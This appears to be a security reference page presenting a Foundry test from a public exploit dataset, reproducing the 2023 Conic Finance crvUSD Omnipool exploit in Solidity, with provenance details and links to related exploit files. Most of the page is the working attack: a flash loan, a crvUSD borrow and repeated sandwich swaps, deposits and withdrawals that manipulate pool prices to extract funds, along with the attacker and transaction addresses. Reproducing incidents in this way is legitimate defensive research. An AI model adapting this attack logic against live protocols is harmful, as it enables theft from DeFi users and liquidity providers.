Public reproduction file
src/test/2023-07/Conic02_exp.sol
Public reproduction file for dataset entry Conic Finance 02.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~934K USD$8// Attacker : https://etherscan.io/address/0xb6369f59fc24117b16742c9dfe064894d03b3b809// Attack Contract : https://etherscan.io/address/0x486cb3f61771ed5483691dd65f4186da9e37c68e10// Vulnerable Contract : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f11// Attack Tx : https://etherscan.io/tx/0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e2686088213// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f#code16// @Analysis17// Post-mortem : https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d18// Twitter Guy : https://twitter.com/spreekaway/status/168246760351872614420interface IConicPool {21 function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);23 function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);24}26interface IcrvUSDController {27 function create_loan(uint256 collateral, uint256 debt, uint256 N) external payable;29 function repay(uint256 _d_debt, address _for, int256 max_active_band, bool use_eth) external;30}32contract ContractTest is Test {33 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);34 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);35 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);36 IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);37 IERC20 cncCRVUSD = IERC20(0xB569bD86ba2429fd2D8D288b40f17EBe1d0f478f);38 IConicPool ConicPool = IConicPool(0x369cBC5C6f139B1132D3B91B87241B37Fc5B971f);39 IcrvUSDController crvUSDController = IcrvUSDController(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635);40 ICurvePool crvUSD_USDT_Pool = ICurvePool(0x390f3595bCa2Df7d23783dFd126427CCeb997BF4);41 ICurvePool crvUSD_USDC_Pool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);42 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);44 function setUp() public {45 vm.createSelectFork("mainnet", 17_743_470);46 vm.label(address(USDT), "USDT");47 vm.label(address(USDC), "USDC");48 vm.label(address(crvUSD), "crvUSD");49 vm.label(address(cncCRVUSD), "cncCRVUSD");50 vm.label(address(ConicPool), "ConicPool");51 vm.label(address(crvUSDController), "crvUSDController");52 vm.label(address(crvUSD_USDT_Pool), "crvUSD_USDT_Pool");53 vm.label(address(crvUSD_USDC_Pool), "crvUSD_USDC_Pool");54 vm.label(address(Balancer), "Balancer");55 }57 function testExploit() external {58 USDC.approve(address(crvUSD_USDC_Pool), type(uint256).max);59 address(USDT).call(60 abi.encodeWithSignature("approve(address,uint256)", address(crvUSD_USDT_Pool), type(uint256).max)61 );62 WETH.approve(address(crvUSDController), type(uint256).max);63 crvUSD.approve(address(crvUSDController), type(uint256).max);64 crvUSD.approve(address(crvUSD_USDC_Pool), type(uint256).max);65 crvUSD.approve(address(crvUSD_USDT_Pool), type(uint256).max);66 crvUSD.approve(address(ConicPool), type(uint256).max);68 address[] memory tokens = new address[](3);69 tokens[0] = address(USDC);70 tokens[1] = address(WETH);71 tokens[2] = address(USDT);72 uint256[] memory amounts = new uint256[](3);73 amounts[0] = 12_000_000 * 1e6;74 amounts[1] = 80_000 ether;75 amounts[2] = 9_000_000 * 1e6;76 bytes memory userData = "";77 Balancer.flashLoan(address(this), tokens, amounts, userData);79 emit log_named_decimal_uint(80 "Attacker crvUSD balance after exploit", crvUSD.balanceOf(address(this)), crvUSD.decimals()81 );82 }84 function receiveFlashLoan(85 address[] memory tokens,86 uint256[] memory amounts,87 uint256[] memory feeAmounts,88 bytes memory userData89 ) external {90 crvUSDController.create_loan(80_000 ether, 93_000_000 ether, 10); // deposit WETH, borrow crvUSD92 crvUSDToUSDCAndUSDT(19_000_000 ether, 27_000_000 ether); // swap crvUSD to USDT and USDC, crvUSD price reduction93 ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false); // deposit crvUSD to ConicPool, add crvUSD to crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices reduced further94 USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this))); // swap USDC and USDT to crvUSD, crvUSD prices increased, earn more crvUSD95 ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0); // withdraw cncCRVUSD from ConicPool, remove crvUSD from crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices increased97 sandWich();98 sandWich();99 sandWich();101 crvUSD_USDT_Pool.exchange(1, 0, 9_000_000 ether, 0); // swap crvUSD to USDT102 crvUSD_USDC_Pool.exchange(1, 0, 12_000_000 ether, 0); // swap crvUSD to USDC103 USDC.transfer(address(Balancer), amounts[0] + feeAmounts[0]);104 address(USDT).call(105 abi.encodeWithSignature("transfer(address,uint256)", address(Balancer), amounts[2] + feeAmounts[2])106 );108 crvUSD_USDT_Pool.exchange(0, 1, USDT.balanceOf(address(this)), 0); // swap USDT to crvUSD109 crvUSD_USDC_Pool.exchange(0, 1, USDC.balanceOf(address(this)), 0); // swap USDC to crvUSD110 crvUSDController.repay(93_000_000 ether, address(this), int256(2 ** 255 - 1), false);111 WETH.transfer(address(Balancer), amounts[1]);112 }114 function crvUSDToUSDCAndUSDT(uint256 swapAmount1, uint256 swapAmount2) internal {115 crvUSD_USDT_Pool.exchange(1, 0, swapAmount1, 0); // swap crvUSD to USDT116 crvUSD_USDC_Pool.exchange(1, 0, swapAmount2, 0); // swap crvUSD to USDC117 }119 function USDCAndUSDTTocrvUSD(uint256 swapAmount1, uint256 swapAmount2) internal {120 crvUSD_USDC_Pool.exchange(0, 1, swapAmount1, 0); // swap USDT to crvUSD121 crvUSD_USDT_Pool.exchange(0, 1, swapAmount2, 0); // swap USDC to crvUSD122 }124 function sandWich() internal {125 crvUSDToUSDCAndUSDT(28_000_000 ether, 39_000_000 ether);126 ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false);127 USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this)));128 ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0);129 }130}Analysis
Dataset entry
Public Foundry test for “Conic Finance 02” (2023-07-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb6369f59fc24117b16742c9dfe064894d03b3b80
- Attack Contract
0x486cb3f61771ed5483691dd65f4186da9e37c68e
- Vulnerable Contract
0x369cbc5c6f139b1132d3b91b87241b37fc5b971f
- Attack Tx
0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e26860882
- Post: https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d
- Twitter: https://twitter.com/spreekaway/status/1682467603518726144
- Explorer: https://etherscan.io/address/0xb6369f59fc24117b16742c9dfe064894d03b3b80
- Explorer: https://etherscan.io/address/0x486cb3f61771ed5483691dd65f4186da9e37c68e
- Explorer: https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f
- Explorer: https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f#code
File record
- Name
- Conic Finance 02
- Path
- src/test/2023-07/Conic02_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 30bd96b7abe0367f3e0950c4adc09465108e3238
- Language
- Solidity
- Size
- 131 lines
- Date
- 2023-07-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Conic02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 30bd96b7abe0367f3e0950c4adc09465108e3238, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.